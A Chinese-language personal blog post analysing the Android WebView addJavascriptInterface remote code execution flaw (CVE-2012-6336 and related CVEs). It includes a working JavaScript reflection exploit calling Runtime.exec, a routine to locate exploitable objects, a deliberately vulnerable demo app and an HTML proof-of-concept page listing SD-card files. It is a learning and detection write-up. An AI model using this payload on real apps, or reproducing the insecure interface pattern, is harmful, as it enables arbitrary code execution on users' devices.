2015年就了解了这个漏洞,但只是简单的试了一下,时间一久就忘记了。导致16年无任何准备的条件下,给面试官讲这个漏洞都讲不清楚,丢人。最近学习了一下web安全相关的知识,就顺便在看了一下这个老的Webview漏洞。全程几乎没有什么干货,就当做个记录。
CVE-2012-6336:WebView RCE漏洞原型,对于使用了Webview API:addJavaScriptInterface()的Webview,会向网页中的js导出一个Object。在JS中,可以利用这个Object和本地App的Java代码通信。由于Java支持反射,导致在JS代码中,可以利用这个导出的Object来反射调用本地代码,从而导致了任意代码执行。即JavaScript的网页可以利用App具有的权限执行任意代码。Google Android <= 4.1.2 (API level 16) 受到此漏洞的影响。
CVE-2014-1939:基于上面的漏洞,3.0以后的Android系统上通过API addJavaScriptInterface()添加了一个SearchBoxImpl类的对象searchBoxJavaBridge_。所以通过searchBoxJavaBridge_对象就可以反射,从而RCE。Google Android <= 4.3.1 受到此漏洞的影响
CVE-2014-7224: 和上面第二个基本差不多,Android系统服务的代码添加了两个对象accessibility和accessibilityTraversal。Google Android < 4.4 受到此漏洞的影响以下主要分析CVE-2012-6336这个漏洞,其他两个就这个特例。
现在Hybrid App很多,Webview使用频繁。为了本地Java和网页端的JS交互,一些App需要在WebView中调用addJavaScriptInterface来添加一个对象用户通信。这样JS中可以利用反射特性来任意执行代码,关于这点上面已经做了说明。下面以几个问题形式,说明如何检测一个App中是否存在这样的漏洞。
在JS中获得了Webview中导出的Object,只要通过以下代码就可以就可以进行反射并RCE。
function execute(cmd){
/*jsObject是导出的Object*/
return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
对于一个待测的App,导出给JS的Object名字不是那么容易找的,通过静态分析方式比较麻烦,可能做不到。那么,怎么才能获取导出给JS的Object名字?
获取导出给JS的Object名字的目的就是为了从这个Object开始反射。对于Java反射,getClass()方法至关重要 。而JS可以遍历window对象,找到存在“getClass”方法的对象。于是通过遍历window方式找到导出来的可以被JS调用的Object。
/*遍历window对象,找出可以被利用来反射的Object*/
function execute(cmd){
for(var obj in window){
if("getClass" in window[obj]){
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
}
}
有了上述方法,检测一个WebView是否存在漏洞也就简单了,只需要使用一个网页来检测是否可以找到存在“getClass”方法的对象。
function detectVul(){
for(var obj in window){
if("getClass" in window[obj]){
document.write(obj+"
");
}
}
}
通过导出的Object,JS就可以和本地App Java代码中的方法进行通信。其实这个和漏洞利用关系不大,是这种设计的初衷。好处是JS可以利用本地Java方法做一些需要权限的事,而从JS中向Java传递数据,可以便于App升级业务而不需重新安装。ps:这个漏洞在4.2系统就不存在了,文章最后简单说明一下这种机制可能带来的其他威胁,如果developer丝毫没有安全意识。
/*js*/
function onImageClick(){
var src=document.getElementById("image").src;
forInjectObj.showStrFromJs("从JS向本地App注入数据:"+src);
}
/*java*/
public void showStrFromJs(String strFromJS) {
Toast.makeText(mContext, strFromJS, Toast.LENGTH_LONG).show();
}
/*js*/
function onButtonClick(){
var str=forInjectObj.passString();
alert("来自本地App的数据:"+str);
}
public String passString() {
return "来自本地APP的String";
}
完整代码可在地址下载。
package com.ncnipc.androidgroup.webecplore;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.Toast;
public class MainActivity extends Activity {
ImageButton updateButton;
EditText addressColum;
WebView webView;
JavaScriptInterface mJavaScriptInterface;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
updateButton = (ImageButton) findViewById(R.id.updateButton);
addressColum = (EditText) findViewById(R.id.addressColom);
webView = (WebView) findViewById(R.id.webView);
mJavaScriptInterface = new JavaScriptInterface(this);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
webView.addJavascriptInterface(mJavaScriptInterface, "forInjectObj");
webSettings.setDefaultTextEncodingName("gbk");
updateButton.setOnClickListener(new LoadWebListener());
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url);
return true;
}
});
}
public class JavaScriptInterface {
Context mContext;
public JavaScriptInterface(Context context) {
this.mContext = context;
}
public String passString() {
return "来自本地APP的String";
}
public void showStrFromJs(String strFromJS) {
Toast.makeText(mContext, strFromJS, Toast.LENGTH_LONG).show();
}
}
private class LoadWebListener implements OnClickListener {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
String url = addressColum.getText().toString();
// if (!url.startsWith("https://") && !url.startsWith("http://")) {
// url = "http://" + url;
// }
webView.loadUrl(url);
}
}
}
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<script>
var i=0;
function getContents(inputStream){
var contents=""+i;
var b=inputStream.read();
var i=1;
while(b!=-1){
var bStr=String.fromCharCode(b);
contents+=bStr;
contents+="\n";
b=inputStream.read();
}
i++;
return contents;
}
function detectVul(){
for(var obj in window){
if("getClass" in window[obj]){
document.write(obj+"
");
}
}
}
function execute(cmd){
for(var obj in window){
if("getClass" in window[obj]){
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
}
}
var p = execute(["ls","-al","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
document.write("
"+"检测到Webview中漏洞有:"+"
");
detectVul();
script>
<script>
function onImageClick(){
var src=document.getElementById("image").src;
forInjectObj.showStrFromJs("从JS向本地App注入数据:"+src);
}
function onButtonClick(){
var str=forInjectObj.passString();
alert("来自本地App的数据:"+str);
}
script>
head>
<body>
<p>点击图片把URL传到Java代码p>
<img class="curved_box" id="image"
onclick="onImageClick()"
width="150"
height="185"
src="http://img1.gtimg.com/ent/pics/hv1/135/149/869/56544855.jpg"
onerror="this.src='http://imgsrc.baidu.com/baike/pic/item/dcc451da81cb39db347807e3d3160924aa1830ce.jpg'"/>
<br><br>
<button type="button" onclick="onButtonClick()">与Java代码交互button>
body>
html>
还有以下几点打算说明一下: